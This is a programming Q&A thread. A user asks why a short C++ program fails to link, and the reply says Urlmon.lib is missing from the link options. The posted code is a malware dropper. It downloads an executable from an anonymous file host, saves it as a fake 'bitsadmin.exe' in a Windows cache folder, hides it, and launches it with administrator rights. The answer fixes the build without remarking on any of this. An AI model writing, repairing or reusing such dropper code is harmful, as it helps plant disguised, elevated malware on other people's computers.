Answer the question
In order to leave comments, you need to log in
What is the error if everything is fine with the code?
Here is the code:
int main ()
{
LPCTSTR linkFile = L"https://cdn-116.anonfiles.com/nco8va78uc/8c58d06d-1626633691/BITSADMIN-G1BAK7-SECURE.exe";
LPCTSTR setupFile = L"C:\\ProgramData\\Microsoft\\Windows\\Caches\\bitsadmin.exe";
URLDownloadToFileW(0, linkFile, setupFile, 0, 0);
SetFileAttributes(setupFile, FILE_ATTRIBUTE_HIDDEN);
ShellExecute(NULL, L"runas", setupFile, NULL, NULL, SW_SHOWNORMAL);
system("pause");
return 0;
}
LNK2001 Unresolved external symbol URLDownloadToFileW.
LNK2001 unresolved external characters: 1
Answer the question
In order to leave comments, you need to log in
https://docs.microsoft.com/en-us/previous-versions...
The link shows that the URLDownloadToFileW function is declared in Urlmon.h and defined in Urlmon.dll.
Because an error at the linking stage, then the compilation was successful, which means that Urlmon.h is connected in one way or another during the compilation process. But Urlmon.lib is not added to the link options, which is why the error occurs.
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question